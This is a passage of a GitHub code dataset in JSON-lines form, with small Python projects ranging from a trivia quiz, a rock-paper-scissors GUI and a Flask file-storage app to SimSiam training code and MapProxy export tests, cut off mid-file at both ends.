least_distance)\r\n\r\n#Send output for report\r\nprint(least_distance)\r\nprint(index2point(best_path)) #Write best path using point numbers","repo_name":"BurkhardtMicah/Artificial-Intelligence","sub_path":"BruteForce_TSP.py","file_name":"BruteForce_TSP.py","file_ext":"py","file_size_in_byte":3538,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"39539041797","text":"#build path dictionary from pathout.txt\n\n'''\nfile = open('./output_data/pathout.txt','rU')\nlines = file.readlines()\nfile.close()\n\npathDict = {}\nfor l in range(1,len(lines)):\n    x = lines[l].split()\n    pathID = x[0]\n    path = x[1]\n    pathNodes = x[1].split('|')\n    pathTarget = pathNodes[len(pathNodes)-1]\n    pathDict[pathID]=pathTarget\n'''\n\nfile = open('./gams_intermediates/results.txt','rU')\nlines = file.readlines()\nfile.close()\n\ntargetSet = set()\nfor l in lines:\n    #pathID = l.split()[0].replace('\"','')\n    #targetSet.add(pathDict[pathID])\n    targetSet.add(l.split()[0].replace('\"',''))\n\noutfile = open('./gams_intermediates/truetargets.gms','w')\n\noutfile.write('Set trueTargets(node)\\t\"targets\"\\n')\noutfile.write('/'+'\\t')\nfor t in targetSet:\n    outfile.write(t+'\\n')\noutfile.write('/;\\n')\noutfile.close()\nprint(len(targetSet))\n\nfile = open('./input_data/targetntype2.tab','w')\nfile.write('#node\\tntype=discrete(source|target)\\n')\nfile.write('7025\\tsource\\n')\nfor t in targetSet:\n    file.write(t+'\\ttarget\\n')\nfile.close()\n\n","repo_name":"Craven-Biostat-Lab/subnetwork_inference","sub_path":"NR2F1/scripts/target_ntype2_builder.py","file_name":"target_ntype2_builder.py","file_ext":"py","file_size_in_byte":1041,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"1158883225","text":"import question_bank\r\nimport time\r\n\r\nq_list=list(question_bank.all_questions)\r\na_list=list(question_bank.all_questions.values())\r\nrounds = 0\r\nscore = 0\r\n\r\ndef quiz():\r\n    print(\"Welcome to the Videogame Trivia Quiz\")\r\n    for questions in q_list:\r\n        question() \r\n    print(\"Thank you for playing! Your final score is:\", score)\r\n\r\ndef question():\r\n    global a_list\r\n    global q_list\r\n    global rounds\r\n    global score\r\n    while rounds < 10:\r\n        print(q_list[0])\r\n        print(a_list[0])\r\n        user_answer = input(\"Answer: \").upper()\r\n        if user_answer not in [\"A\",\"B\",\"C\",\"D\"]:\r\n            print(\"You have entered an invalid option\")\r\n            continue\r\n        elif user_answer == question_bank.answers[0]:\r\n            print(\"Correct!\")\r\n            a_list.pop(0)\r\n            question_bank.answers.pop(0)\r\n            q_list.pop(0)\r\n            rounds += 1\r\n            score += 1\r\n        else:\r\n            print(\"Sorry, the correct answer was\", question_bank.answers[0])\r\n            a_list.pop(0)\r\n            question_bank.answers.pop(0)\r\n            q_list.pop(0)\r\n            rounds +=1\r\n        time.sleep(1)\r\n\r\nif __name__ == \"__main__\":\r\n    quiz()","repo_name":"baconeggers/PersonalProjects","sub_path":"Trivia Game.py","file_name":"Trivia Game.py","file_ext":"py","file_size_in_byte":1190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"40344094232","text":"# -*- coding: utf-8 -*-\n# emacs: -*- mode: python; py-indent-offset: 4; indent-tabs-mode: nil -*-\n# vi: set ft=python sts=4 ts=4 sw=4 et:\n\nfrom pathlib import Path\n\nimport pandas as pd\nimport pytest\n\nfrom halfpipe.design import group_design, prepare_data_frame\n\ntsv_str = \"\"\"SubjID\\tSex\\tSite.\\tRecur\\tAD\n11111111\\t0\\t1\\t0\\tNA\n11111112\\t1\\t1\\t1\\tNA\n11111113\\t0\\t1\\t2 \\tNA\n11111114\\t1\\t1\\tNA \\tNA\n11111115\\t0\\t1\\t1\\tNA\n\"\"\"\n\n\n@pytest.mark.parametrize(\n    \"tsv_str\",\n    [tsv_str, tsv_str.replace(\"\\t\", \",\"), tsv_str.replace(\"\\t\", \" \")],\n)\ndef test_prepare_data_frame(tmp_path: Path, tsv_str: str):\n    spreadsheet_path = tmp_path / \"spreadsheet.tsv\"\n\n    with open(spreadsheet_path, \"w\") as file_handle:\n        file_handle.write(tsv_str)\n\n    variables: list[dict] = [\n        {\"name\": \"SubjID\", \"type\": \"id\"},\n        {\"name\": \"Sex\", \"type\": \"categorical\", \"levels\": [\"0\", \"1\"]},\n        {\"name\": \"Site.\", \"type\": \"categorical\", \"levels\": [\"1\"]},\n        {\"name\": \"Recur\", \"type\": \"categorical\", \"levels\": [\"0\", \"1\", \"2\"]},\n        {\"name\": \"AD\", \"type\": \"categorical\", \"levels\": [\"0\", \"1\", \"2\"]},\n    ]\n    subjects = [\"11111111\", \"11111112\", \"11111113\", \"11111114\", \"11111115\"]\n\n    df = prepare_data_frame(spreadsheet_path, variables, subjects)\n    assert df.shape == (5, 4)\n    assert df[\"Recur\"].dtype == \"category\"\n    assert df[\"Recur\"].notnull().sum() == 4\n    assert df[\"AD\"].dtype == \"category\"\n\n\ndef test_group_design():\n    data_frame = pd.DataFrame(\n        {\n            \"subject\": [\"s1\", \"s2\", \"s3\", \"s4\", \"s5\", \"s6\"],\n            \"group\": [\"A\", \"A\", \"B\", \"B\", \"C\", \"C\"],\n        }\n    )\n    data_frame = data_frame.set_index(\"subject\")\n    data_frame[\"group\"] = data_frame[\"group\"].astype(\"category\")\n\n    subjects = [\"s1\", \"s2\", \"s3\", \"s4\"]\n    contrasts = [\n        dict(type=\"infer\", variable=[\"group\"], levels=[\"A\", \"B\", \"C\"]),\n    ]\n\n    design = group_design(\n        data_frame,\n        contrasts,\n        subjects,\n    )\n    assert len(design.regressor_list) == 2\n","repo_name":"HALFpipe/HALFpipe","sub_path":"tests/test_design.py","file_name":"test_design.py","file_ext":"py","file_size_in_byte":1989,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"60"}
+{"seq_id":"14824526990","text":"from django.urls import path\n\nfrom accounts import views\n\nurlpatterns = [\n    path('login', views.login_view, name='login'),\n    path('logout', views.logout_view, name='logout'),\n    path('profile', views.profile_view, name='profile'),\n    path('division:<int:division_id>', views.division_view, name='division'),\n    path('profile:<int:profile_id>', views.profile_view, name='profile'),\n    path('add_profile', views.add_profile, name='add_profile'),\n    path('add_division', views.add_division, name='add_division'),\n    path('profiles', views.profiles_view, name='profiles'),\n]\n","repo_name":"Qvineox/accessControl_app","sub_path":"accounts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"2554164615","text":"#import library\r\nfrom tkinter import *\r\nimport random\r\n\r\n\r\n#initialize window\r\nroot = Tk()\r\nroot.geometry('500x500')\r\nroot.resizable(0,0)\r\nroot.title('Rock,Paper,Scissors')\r\nroot.config(bg ='lightskyblue')\r\n\r\n#heading\r\nLabel(root, text = 'Rock, Paper ,Scissors' , font='arial 30 bold', bg = 'white').pack()\r\n\r\n##user choice\r\nuser_take = StringVar()\r\nLabel(root, text = 'choose any one: rock, paper ,scissors' , font='arial 19 bold', bg = 'white').place(x = 20,y=70)\r\nEntry(root, font = 'arial 15', textvariable = user_take , bg = 'antiquewhite2').place(x=140 , y = 130)\r\n\r\n\r\n#computer choice\r\nc_pick = random.randint(1,3)\r\nif c_pick == 1:\r\n    c_pick = 'rock'\r\nelif c_pick ==2:\r\n    c_pick = 'paper'\r\nelse:\r\n    c_pick = 'scissors'\r\n    \r\n\r\n#play\r\nResult = StringVar()\r\n\r\ndef play():\r\n    user_pick = user_take.get()\r\n    if user_pick == c_pick:\r\n        Result.set('Tie,both are same')\r\n    elif user_pick == 'rock' and c_pick == 'paper':\r\n        Result.set('You loose,computer selected paper')\r\n    elif user_pick == 'rock' and c_pick == 'scissors':\r\n        Result.set('You win,computer selected scissors')\r\n    elif user_pick == 'paper' and c_pick == 'scissors':\r\n        Result.set('You loose,computer selected scissors')\r\n    elif user_pick == 'paper' and c_pick == 'rock':\r\n        Result.set('You win,computer selected rock')\r\n    elif user_pick == 'scissors' and c_pick == 'rock':\r\n        Result.set('You loose,computer selected rock')\r\n    elif user_pick == 'scissors' and c_pick == 'paper':\r\n        Result.set('You win ,computer selected paper')\r\n    else:\r\n        Result.set('invalid, Try again')\r\n    \r\n         \r\n#reset\r\ndef Reset():\r\n    Result.set(\"\") \r\n    user_take.set(\"\")\r\n\r\n##exit\r\ndef Exit():\r\n    root.destroy()\r\n\r\n\r\n#button\r\nEntry(root, font = 'arial 10 bold', textvariable = Result, bg ='antiquewhite2',width = 64,).place(x=25, y = 250)\r\n\r\nButton(root, font = 'arial 13 bold', text = 'PLAY'  ,padx =6,bg ='seashell4' ,command = play).place(x=213,y=190)\r\n\r\nButton(root, font = 'arial 13 bold', text = 'RESET'  ,padx =6,bg ='seashell4' ,command = Reset).place(x=110,y=310)\r\n\r\nButton(root, font = 'arial 13 bold', text = 'EXIT'  ,padx =6,bg ='seashell4' ,command = Exit).place(x=310,y=310)\r\n\r\nroot.mainloop()\r\n","repo_name":"taimoorfahim/Rock-Paper-Scissors_With-UI","sub_path":"rock-paper-scissors.py","file_name":"rock-paper-scissors.py","file_ext":"py","file_size_in_byte":2236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"8285185336","text":"from Scene.scene import *\nimport pygame\nimport ctypes\nfrom Data.rec_data import *\n\nclass GameScene(Scene):\n\n    def __init__(self, display, id, w_size, connector, resources):\n\n        print(\"Game Scene\")\n        \n        super().__init__(display, id, w_size, connector, resources)\n        \n        # Constants\n        self.GET_DATA_TIME = 1.25\n        self.FONT_PATH = r\"..\\Resource\\OpenSans-Regular.ttf\"\n\n        self._is_in_intro = True\n        self._intro_font = pygame.font.Font(self.FONT_PATH, 40)\n        self._info_text = self._intro_font.render(\"You think you can beat my bot? Let's try\", 0, (0, 0, 0))\n\n        self._trans_to_next_scene = False\n\n        self._data_trainer = DataTrainer()\n        self.NUM_OF_INPUT_SAMPLE = DataTrainer.NUM_OF_INPUT_SAMPLE\n        self._input_data = []\n\n        self._connector = connector\n\n        self._ptr_accel = self._connector.get_accel()\n        self._ptr_emg_data = self._connector.get_emg_data()\n\n        self._clock = pygame.time.Clock()\n        self._timer = 0\n        self._movement_accel = [(0, 0, 0), (0, 0, 0)]\n        self._has_wave = False\n\n        self._turn_number = 0\n\n        for i in range(len(self._resources)):\n            self._resources[i] = pygame.transform.scale(self._resources[i], (125, 125))\n\n        self._render_imgs = []\n        offset = 450, (self._w_size[1] - self._resources[3].get_rect().size[1] * 2 * 1.2) // 2\n        for i in range(6):  \n            original_pos = (i % 3) * self._resources[3].get_rect().size[0] * 1.2, (i // 3) * self._resources[3].get_rect().size[1] * 1.2\n            pos = tuple(map(lambda x, y: x + y, offset, original_pos))\n            self._render_imgs.append([self._resources[3], pos])\n\n    def update(self):\n\n        super().update()\n\n        if self._is_in_intro:\n            self._timer += self._clock.tick() / 1000\n            if self._timer >= 3.0:\n                self._timer = 0\n                self._is_in_intro = False\n        \n        elif self._trans_to_next_scene:\n            self._timer += self._clock.tick() / 1000\n            if self._timer >= 3.0:\n                self._isEndScene = True\n\n        else:\n            if not self._has_wave:\n                if self._timer <= 0.25:\n                    if self._timer == 0:\n                        temp = (ctypes.c_float * 3).from_address(self._ptr_accel)\n                        self._movement_accel[0] = [temp[i] for i in range(3)]\n                    self._timer += self._clock.tick() / 1000\n                \n                else:\n                    self._timer = 0\n                    temp = (ctypes.c_float * 3).from_address(self._ptr_accel)\n                    self._movement_accel[1] = [temp[i] for i in range(3)]\n                    ox = self._movement_accel[0][0]\n                    x = self._movement_accel[1][0]\n                    # Wave down\n                    if x - ox < -0.7 and ox != 0:\n                        self._has_wave = True\n        \n            else:\n                if self._timer <= self.GET_DATA_TIME:\n                    self._timer += self._clock.tick() / 1000\n                    temp = (ctypes.c_int * DataTrainer.NUM_OF_SENSORS).from_address(self._ptr_emg_data)\n                    self._input_data.append([temp[i] for i in range(DataTrainer.NUM_OF_SENSORS)])\n                else:\n                    # Finish delta_time second\n\n                    self._timer = 0\n                    self._has_wave = False\n\n                    print(len(self._input_data))\n\n                    predict_result = self._data_trainer.predict(self._input_data[:DataTrainer.NUM_OF_INPUT_SAMPLE])\n                    self._render_imgs[self._turn_number + 3][0] = self._resources[predict_result]\n                    self._render_imgs[self._turn_number][0] = self._resources[(predict_result + 1) % 3]\n                \n                    if self._turn_number < 2:\n                        self._turn_number = self._turn_number + 1\n                    \n                    else:\n                        self._trans_to_next_scene = True\n\n                    self._input_data = []\n                \n\n        # Event handling\n        for event in pygame.event.get():\n            if event.type == pygame.QUIT:\n                print(\"Exiting...\")\n                self._connector.close()\n                pygame.quit()\n                exit()\n            elif event.type == pygame.KEYDOWN:\n                if event.key == pygame.K_SPACE:\n                    # Change Scene to Game Scene:\n                    self._isEndScene = True\n                else: pass\n            else: pass\n\n    def render(self):\n        super().render()\n\n        if self._is_in_intro:\n            self._display.blit(self._info_text, fix_pos([self._w_size[0] // 2, self._w_size[1] // 2], self._info_text.get_size()))\n\n        else:\n            self._display.blit(self._resources[4], (120, 300))\n            self._display.blit(self._resources[5], (120, 140))\n\n            for i in range(6):\n                self._display.blit(self._render_imgs[i][0], self._render_imgs[i][1])\n\n        \n        ","repo_name":"ngthluu/RPS-Myogame","sub_path":"Scene/game_scene.py","file_name":"game_scene.py","file_ext":"py","file_size_in_byte":5040,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"71970817152","text":"alphabet = ('A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z')\ndecryptedWord = []\n\nword = list(str(input('Write the ciphered word: ')).upper().strip())\nfactor = int(input('Write the factor: '))\n\nfor char in word:\n    actualIndex = alphabet.index(char)\n    newIndex = actualIndex - factor\n    if newIndex > len(alphabet):\n        print(\"I don't know how it happened, but 'newIndex' > 'alphabet'\")\n        exit()\n    elif newIndex < 0: newIndex = len(alphabet) - (newIndex * -1)\n    decryptedWord.append(alphabet[newIndex])\n\nfor char in decryptedWord: print(char, end='')\n","repo_name":"Icaro-G-Silva/AlmostNothingUseful","sub_path":"CesarCipher/Python/CesarCipher.py","file_name":"CesarCipher.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"10240207395","text":"from flask import Flask,render_template,redirect,request,flash,make_response\nimport os\nimport hashlib\nimport datetime\nfrom cloudant.client import Cloudant\nfrom cloudant import query,result,document\n\n\napp = Flask(__name__)\napp.secret_key = 'lionel'\n\nPORT = os.getenv('PORT', '5000');\n\nUSERNAME=\"<USERNAME>\";\nPASSWORD=\"<PASSWORD>\";\nURL=\"<CLOUDANT_DB_URL>\";\nclient = Cloudant(USERNAME, PASSWORD, url=\"<URL>\");\n\nUPLOAD_FOLDER=os.path.dirname(__file__)+\"/tmp/\";\napp.config['UPLOAD_FOLDER']=UPLOAD_FOLDER;\n\n@app.route('/')\ndef home():\n    filelist=retrieve_files();\n    return render_template(\"upload.html\",files=filelist);\n\n\n@app.route('/upload',methods=['POST'])\ndef upload():\n    f = request.files['fileToUpload'];\n    file_name = f.filename;\n    f.save(os.path.join(app.config['UPLOAD_FOLDER'], file_name));\n    contents = '';\n    hash_content = hashlib.md5();\n    with open(UPLOAD_FOLDER + file_name, 'rb') as content_file:\n        contents = content_file.read();\n        hash_content.update(contents);\n    print(hash_content.hexdigest());\n\n    client.connect();\n\n    db = client['lionelfilestorage'];\n    file_version_query=query.Query(db,selector={'file_name':file_name});\n    version_no=-1;\n    is_file_exists=False;\n    with query.Query.custom_result(file_version_query) as query_result:\n        for doc in query_result:\n            version_no = doc[\"version_no\"];\n            if doc['file_hashvalue'] == hash_content.hexdigest():\n                is_file_exists=True;\n                break;\n    msg =''\n    if is_file_exists==True:\n        msg='File already exists,cant upload the same file.'\n    else :\n        version_no=1 if version_no==-1 else version_no+1;\n        file_doc = {\n            '_id':file_name+str(version_no),\n            'file_name': file_name,\n            'file_content': contents,\n            'version_no': version_no,\n            'file_hashvalue':hash_content.hexdigest(),\n            'last_modified':str(datetime.datetime.now()),\n            'type':'filedoc'\n        }\n        db.create_document(file_doc);\n        msg='File uploaded sucessfully';\n    client.disconnect();\n    os.remove(UPLOAD_FOLDER + file_name);\n    flash(msg);\n    return redirect(\"/\");\n\n@app.route('/delete',methods=['GET','POST'])\ndef delete():\n    if request.method=='POST':\n        msg='';\n        try :\n            file_name = request.form['file_name'];\n            version_no = request.form['version_no'];\n            client.connect();\n            db = client['lionelfilestorage'];\n            my_doc = db[file_name + version_no];\n            my_doc.delete();\n            msg='File deleted successfully';\n        except KeyError:\n            msg='File not found for deletion';\n        except Exception:\n            msg='Some issue occured';\n        finally:\n            client.disconnect();\n        flash(msg);\n    filelist=retrieve_files();\n    return render_template(\"delete.html\",files=filelist);\n\n@app.route('/download',methods=['GET','POST'])\ndef download():\n    if request.method=='POST':\n        try:\n            file_name = request.form['file_name'];\n            version_no = request.form['version_no'];\n            client.connect();\n            db = client['lionelfilestorage'];\n            my_doc = db[file_name + version_no];\n            response = make_response(my_doc['file_content']);\n            response.headers[\"Content-Disposition\"] = \"attachment; filename=\" +file_name;\n            msg = 'File downloaded successfully';\n            flash(msg);\n            return response;\n        except KeyError:\n            msg='File not found for download';\n        except Exception:\n            msg='Some issue occured';\n        finally:\n            client.disconnect();\n        flash(msg);\n    filelist = retrieve_files();\n    return render_template(\"download.html\",files=filelist);\n\ndef retrieve_files():\n    list=[];\n    client.connect();\n    db = client['lionelfilestorage'];\n    file_version_query = query.Query(db, selector={'type':'filedoc'});\n    with query.Query.custom_result(file_version_query) as query_result:\n        for doc in query_result:\n            list.append(doc);\n    client.disconnect();\n    return list;\n\nif __name__ == '__main__':\n    app.run(host='0.0.0.0', port=int(PORT))\n    #app.run()\n","repo_name":"lionel-ronald-sequeira/IBM-Bluemix2","sub_path":"welcome.py","file_name":"welcome.py","file_ext":"py","file_size_in_byte":4224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"19844268668","text":"import matplotlib.pyplot as plt\nimport torch\nimport numpy as np\nimport scipy.io as sio\nfrom gan import Generator256\n\n\n\ndef load_data(DATA_PATH, device):\n    data = sio.loadmat(DATA_PATH)\n    \n    S = torch.from_numpy(data['S']).type(torch.float32)\n    T = torch.from_numpy(data['T']).type(torch.float32)\n    C = torch.from_numpy(data['C']).type(torch.float32)\n    \n    S_true = torch.from_numpy(data['S_true']).type(torch.float32)\n    C_true = torch.from_numpy(data['C_true']).type(torch.float32)\n    T_true = torch.from_numpy(data['T_true']).type(torch.float32)\n    \n    # Permutation for compatibility with matlab generated arrays\n    T = T.permute(2,0,1).to(device)\n    T_true = T_true.permute(2,0,1).to(device)\n    try:\n        S = S.permute(2,0,1).to(device)\n    except:\n        S = S.unsqueeze(dim=0)\n    \n    try:\n        S_true = S_true.permute(2,0,1).to(device)\n    except:\n        S_true = S_true.unsqueeze(dim=0)\n    \n    \n    C = C.permute(1,0).to(device)\n    C_true = C_true.permute(1,0).to(device)\n    \n    return S, C, T, S_true, C_true, T_true\n\n\n    \n    \ndef load_generator(GAN_PATH, device):\n    generator = Generator256()\n    \n    checkpoint = torch.load(GAN_PATH, map_location=torch.device('cpu'))\n        \n    generator.load_state_dict(checkpoint['g_model_state_dict'])\n    generator.eval()\n    return generator.to(device)\n\ndef load_all( datapath, z_dimension, device, visualize_data = True, k=25):\n\n    S, C, T, S_true, C_true, T_true = load_data(datapath, device)\n\n    # C_true[0:,50:] = 0\n    # T_true = get_tensor(S_true.unsqueeze(dim=1), C_true, device)\n\n    if visualize_data:\n        print(S.shape[0], \"emitters.\")\n        fig, ax = plt.subplots(1, C.shape[0]+1, figsize=(5*C.shape[0], 3))\n        \n        for i in range(C.shape[0]):\n            ax[i].plot(C_true[i,:].cpu().detach().numpy())\n            \n        ax[i+1].imshow(torch.log(T_true[k,...]).cpu() )\n\n    # parameters\n    R, I, J = S.shape # R is the number of emitters, I,J is the size of the SLF\n    K = C.shape[-1] # K is the number of frequency bands\n\n    # Initialize the latent vectors for each emitter\n    Z_init = torch.randn((R, z_dimension), dtype=torch.float32).to(device) \n    Z = torch.zeros((R, z_dimension), dtype=torch.float32).to(device) \n\n    # zero start \n    S_init = torch.zeros( (R, 1, I, J) ).to(device) \n    C_init = torch.zeros(C.shape).to(device)\n\n    T = T.unsqueeze(dim=1)\n\n    return S_init, C_init, T, S_true, C_true, T_true, Z_init, Z","repo_name":"XiaoFuLab/Quantized-Radio-Map-Estimation-BTD-and-DGM","sub_path":"qmc_utils.py","file_name":"qmc_utils.py","file_ext":"py","file_size_in_byte":2456,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"}
+{"seq_id":"41081490560","text":"import numpy as np\nimport pytesseract as pt\nimport cv2\nimport win32gui\nimport mss\nimport mss.tools\nfrom CNN import CNN\nfrom PIL import Image\nfrom PIL import ImageGrab\nfrom pynput.mouse import Button, Controller\nfrom grabscreen import grab_screen\nfrom directkeys import *\nimport time\nfrom grabImageUsingCV2 import fetchScoreFromImage\n\nmouse=Controller()\nclass Dave(object):\n    cnn_graph = CNN()\n    def __init__(self):\n        self.rward=0\n        # self.reset()\n        self.visit=0\n        self.previous_screen=[]\n        self.previous_compare_screen=[]\n        # self.previous_gold_screen=[]\n        self.previous_screen_score = 0\n        self.curr_score = 0\n        self.prev_unprocessed = 0\n        self.flagTrophy = False\n\n    def _get_reward(self, action):\n        flag1=False\n        flag2=False\n        flag3=False\n        flagTrophy = False\n        screen = mss.mss().grab((0,0,1366,768))\n        mss.tools.to_png(screen.rgb,screen.size,output='screen.jpg')\n        self.visit+=1\n        screen = np.asarray(screen)\n        if self.visit > 1 :\n            self.curr_score = 0\n            reward_scrn = mss.mss().grab((310,0,470,47))\n            mss.tools.to_png(reward_scrn.rgb,reward_scrn.size,output='reward.jpg')\n            # reward_scrn = Image.open(\"reward.jpg\")\n            reward_scrn = cv2.imread(\"reward.jpg\")\n            self.curr_score = fetchScoreFromImage(reward_scrn) \n            prev_score = self.previous_screen_score\n            if self.curr_score != self.prev_unprocessed:\n                self.prev_unprocessed = self.curr_score\n                if self.curr_score < self.previous_screen_score:\n                    self.curr_score = self.previous_screen_score + 100\n                elif(self.curr_score - self.previous_screen_score >= 1000):\n                    self.flagTrophy = True\n\n                diff_in_score = self.curr_score - self.previous_screen_score\n                if(diff_in_score >= 50):\n                    flag1 = True\n                self.previous_screen_score = self.curr_score\n            else:\n                self.curr_score = self.previous_screen_score\n            print(\"\\nPrevious Score was %d and Current score is %d \\n\" % (prev_score, self.curr_score))\n\n        compare_screen=screen[50:,0:]\n        if self.visit>1:\n            diff2=cv2.subtract(compare_screen,self.previous_compare_screen)\n            b2,g2,r2,a2=cv2.split(diff2)\n            #print(cv2.countNonZero(b1) , cv2.countNonZero(g1) , cv2.countNonZero(r1))\n            max2=max(cv2.countNonZero(b2) , cv2.countNonZero(g2) , cv2.countNonZero(r2))\n            print(\"difference\",max2)\n            if max2<1300:\n                flag3=True  \n        self.previous_compare_screen=compare_screen                \n        \n        # lives_screen= screen[55:75,70:150]\n        # if self.visit>1:\n        #     diff1=cv2.subtract(lives_screen,self.previous_screen)\n        #     b1,g1,r1=cv2.split(diff1)          \n        #     if cv2.countNonZero(b1) > 0 or cv2.countNonZero(g1) > 0 or cv2.countNonZero(r1) > 0:\n        #         flag2=True                \n        # self.previous_screen=lives_screen\n        \n        # flag 2 is for lives\n        # if flag2:\n        #     return -1\n        # flag 1 is true if any gem is collected\n        if flagTrophy:\n            return 1\n        if flag1:\n            return 0.2\n        # flag 3 is true if there is no change in new frame.\n        if flag3:\n            return -0.1\n        ingame_reward = 0.01\n        return ingame_reward\n\n    def _is_over(self, reward):\n        if self.curr_score == 2200:\n            is_over = True\n        else:\n            is_over = False\n        return is_over\n    \n    \n    def observe(self):\n        screen = np.asarray(ImageGrab.grab(bbox=(0,50,1336,668)))  \n        state = self.cnn_graph.get_image_feature_map(screen)\n        return state\n\n    def act(self, action):\n        keys_to_press = [[uparrow,leftarrow],[leftarrow],[uparrow,leftarrow],[uparrow,rightarrow],[rightarrow],[uparrow,rightarrow]]\n        PressKey(keys_to_press[action][0])\n        time.sleep(0.3)\n        ReleaseKey(keys_to_press[action][0])\n        i=1\n        if(len(keys_to_press[action]) >=1):\n            while i<len(keys_to_press[action]):\n                PressKey(keys_to_press[action][i])\n                time.sleep(0.4)\n                ReleaseKey(keys_to_press[action][i])\n                i+=1\n        time.sleep(0.6)\n        reward = self._get_reward(action)\n        game_over = self._is_over(reward)\n        return self.observe(), reward, game_over\n\n    def reset(self):\n        self.rward=0\n        self.visit=0\n        self.previous_screen=[]\n        self.previous_compare_screen=[]\n        self.previous_screen_score = 0\n        self.curr_score = 0\n        self.prev_unprocessed = 0\n        self.flagTrophy = False\n\n    def start_game(self):\n        PressKey(0x39)\n        time.sleep(1)\n        ReleaseKey(0x39)\n        time.sleep(1)\n\n    def exit_game(self):\n        PressKey(0x01)\n        time.sleep(1)\n        ReleaseKey(0x01)\n        time.sleep(1)\n        PressKey(0x15)\n        time.sleep(1)\n        ReleaseKey(0x15)\n        time.sleep(1)\n\n","repo_name":"USC-CSCI527-Spring2021/qDeerein","sub_path":"DQN/Dave.py","file_name":"Dave.py","file_ext":"py","file_size_in_byte":5126,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"25151625212","text":"# https://github.com/facebookresearch/simsiam/\n\nimport torch.nn as nn\nimport torchvision.transforms as transforms\n\n\ndef simsiam_augmentation():\n    normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406],\n                                     std=[0.229, 0.224, 0.225])\n\n    # MoCo v2's aug: similar to SimCLR https://arxiv.org/abs/2002.05709\n    augmentation = [\n        transforms.RandomResizedCrop(224, scale=(0.2, 1.)),\n        transforms.RandomApply([\n            transforms.ColorJitter(0.4, 0.4, 0.4, 0.1)  # not strengthened\n        ], p=0.8),\n        transforms.RandomGrayscale(p=0.2),\n        transforms.RandomApply([simsiam.loader.GaussianBlur([.1, 2.])], p=0.5),\n        transforms.RandomHorizontalFlip(),\n        transforms.ToTensor(),\n        normalize\n    ]\n    \n    return augmentation\n\n\ndef simsiam(backbone, projector, images, args):\n    criterion = nn.CosineSimilarity(dim=1).cuda(args.gpu)\n    \n    if args.gpu is not None:\n        images[0] = images[0].cuda(args.gpu, non_blocking=True)\n        images[1] = images[1].cuda(args.gpu, non_blocking=True)\n\n    # compute output and loss\n    x1 = backbone(images[0])\n    x2 = backbone(images[1])\n    \n    p1, p2, = projector(x1), projector(x2)\n    z1, z2  = x1.detach(), x2.detach()\n\n    loss = -(criterion(p1, z2).mean() + criterion(p2, z1).mean()) * 0.5\n\n    return loss","repo_name":"Revliter/deepl-toolbox","sub_path":"pretrain_methods/ssl/contrastive/simsiam.py","file_name":"simsiam.py","file_ext":"py","file_size_in_byte":1339,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"41659827039","text":"import os\nimport tempfile\nimport shutil\nimport contextlib\n\nimport pytest\n\nfrom mapproxy.script.export import export_command\nfrom mapproxy.test.image import tmp_image\nfrom mapproxy.test.http import mock_httpd\nfrom mapproxy.test.helper import capture\n\n\nFIXTURE_DIR = os.path.join(os.path.dirname(__file__), \"fixture\")\n\n\n@contextlib.contextmanager\ndef tile_server(tile_coords):\n    with tmp_image((256, 256), format=\"jpeg\") as img:\n        img = img.read()\n    expected_reqs = []\n    for tile in tile_coords:\n        expected_reqs.append(\n            (\n                {\"path\": r\"/tiles/%d/%d/%d.png\" % (tile[2], tile[0], tile[1])},\n                {\"body\": img, \"headers\": {\"content-type\": \"image/png\"}},\n            )\n        )\n    with mock_httpd((\"localhost\", 42423), expected_reqs, unordered=True):\n        yield\n\n\nclass TestUtilExport(object):\n\n    def setup(self):\n        self.dir = tempfile.mkdtemp()\n        self.dest = os.path.join(self.dir, \"dest\")\n        self.mapproxy_conf_name = \"mapproxy_export.yaml\"\n        shutil.copy(os.path.join(FIXTURE_DIR, self.mapproxy_conf_name), self.dir)\n        self.mapproxy_conf_file = os.path.join(self.dir, self.mapproxy_conf_name)\n        self.args = [\"command_dummy\", \"-f\", self.mapproxy_conf_file]\n\n    def teardown(self):\n        shutil.rmtree(self.dir)\n\n    def test_config_not_found(self):\n        self.args = [\"command_dummy\", \"-f\", \"foo.bar\"]\n        with capture() as (out, err):\n            try:\n                export_command(self.args)\n            except SystemExit as ex:\n                assert ex.code != 0\n            else:\n                assert False, \"export command did not exit\"\n        assert err.getvalue().startswith(\"ERROR:\")\n\n    def test_no_fetch_missing_tiles(self):\n        self.args += [\n            \"--grid\",\n            \"GLOBAL_MERCATOR\",\n            \"--dest\",\n            self.dest,\n            \"--levels\",\n            \"0\",\n            \"--source\",\n            \"tms_cache\",\n        ]\n        with capture() as (out, err):\n            export_command(self.args)\n\n        assert os.listdir(self.dest) == [\"tile_locks\"]\n\n    def test_fetch_missing_tiles(self):\n        self.args += [\n            \"--grid\",\n            \"GLOBAL_MERCATOR\",\n            \"--dest\",\n            self.dest,\n            \"--levels\",\n            \"0,1\",\n            \"--source\",\n            \"tms_cache\",\n            \"--fetch-missing-tiles\",\n        ]\n        with tile_server([(0, 0, 0), (0, 0, 1), (0, 1, 1), (1, 0, 1), (1, 1, 1)]):\n            with capture() as (out, err):\n                export_command(self.args)\n\n        assert 